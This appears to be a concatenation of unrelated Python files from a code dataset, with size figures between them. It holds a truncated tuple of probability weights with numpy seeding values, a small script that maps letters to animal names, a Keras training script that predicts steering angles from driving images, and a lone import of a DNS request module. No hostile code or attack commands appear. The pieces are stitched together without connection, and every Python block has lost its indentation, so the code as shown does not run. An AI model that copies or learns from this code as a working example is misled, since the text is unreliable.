(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 154
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 155
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 156
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 157
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 158
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 159
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 160
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 161
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 162
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 163
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 164
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 165
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 166
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 167
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 168
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 169
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 170
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 171
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 172
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 173
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 174
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 175
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 176
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 177
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 178
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 179
)
"""
parameters for reproducibiliy. More information: https://numpy.org/doc/stable/reference/random/parallel.html
"""
#initial entropy
entropy = 8991598675325360468762009371570610170
#index for seed sequence child
child_seed_index = (
1, # 0
36, # 1
)
| 260,269 | 257,325 |
a = input()
for i in range(len(a)):
if i == 0 or a[i] == ' ':
if i != 0:
i+=1
if a[i] == 'S':
print("Snake", end = " ")
elif a[i] == 'G':
print("Lion", end = " ")
elif a[i] == 'R':
print("Tiger", end = " ")
elif a[i] == 'C':
print("Bird", end = " ")
| 276 | 148 |
import csv
import numpy as np
import cv2
from sklearn.utils import shuffle
from sklearn.model_selection import train_test_split
# Reading image paths and steering angles from excel
samples = []
with open('/opt/carnd_p3/data/driving_log.csv') as csvfile:
reader = csv.reader(csvfile)
## Skipping first line to avoid reading headers ##
next(reader)
##################################################
for line in reader:
samples.append(line)
# Splitting data for training and validating
train_samples, validation_samples = train_test_split(samples, test_size=0.15)
# Function to yeild generator for training and validating neural network
def generator(samples, batch_size = 32):
while True:
shuffle(samples)
for offset in range(0, len(samples), batch_size):
batch_samples = samples[offset:offset+batch_size]
images = []
angles = []
for sample in batch_samples:
for i in range(3):
file_name = '/opt/carnd_p3/data/IMG/'+sample[i].split('/')[-1]
image = cv2.cvtColor(cv2.imread(file_name), cv2.COLOR_BGR2RGB)
images.append(image)
flip_image = np.fliplr(image)
images.append(flip_image)
if (i==0):
angle = float(sample[3])
flip_angle = -1.0*float(sample[3])
elif (i==1):
angle = float(sample[3]) + 0.2
flip_angle = -1.0*(float(sample[3]) + 0.2)
elif (i==2):
angle = float(sample[3]) - 0.2
flip_angle = -1.0*(float(sample[3]) - 0.2)
angles.append(angle)
angles.append(flip_angle)
x_train = np.array(images)
y_train = np.array(angles)
yield x_train, y_train
# Setting batch size
batch_size = 32
# Creating generators for training and validating
train_generator = generator(train_samples, batch_size=batch_size)
validation_generator = generator(validation_samples, batch_size=batch_size)
# Building neural network model
from keras.models import Sequential
from keras.layers import Flatten, Dense, Activation
from keras.layers import Lambda, Cropping2D
from keras.layers import Convolution2D
from keras.layers import Dropout
model = Sequential()
# Normailizing
model.add(Lambda(lambda x: (x / 255.0) - 0.5, input_shape=(160,320,3)))
# Cropping top portion of the images
model.add(Cropping2D(cropping=((70,25), (0,0))))
# 5x5 layer convolutions
model.add(Convolution2D(24,5,5,subsample=(2,2)))
model.add(Activation('elu'))
model.add(Convolution2D(24,5,5,subsample=(2,2)))
model.add(Activation('elu'))
model.add(Convolution2D(48,5,5,subsample=(2,2)))
model.add(Activation('elu'))
# 3x3 layer convolutions
model.add(Convolution2D(64,3,3))
model.add(Activation('elu'))
model.add(Convolution2D(64,3,3))
model.add(Activation('elu'))
# Fully convolution layer
model.add(Flatten())
model.add(Dense(100, activation = 'elu'))
model.add(Dropout(0.3))
model.add(Dense(50, activation = 'elu'))
model.add(Dropout(0.3))
model.add(Dense(10, activation = 'elu'))
model.add(Dense(1))
model.compile(loss='mse', optimizer='adam')
model.fit_generator(train_generator,
steps_per_epoch = len(train_samples)/batch_size,
validation_data = validation_generator,
validation_steps= len(validation_samples)/batch_size,
shuffle = True,
epochs=5, verbose=1)
model.save('Model_run2.h5')
print('Model saved')
model.summary()
| 3,884 | 1,230 |
from .dnsreqdealer import DnsReqDealer | 38 | 15 |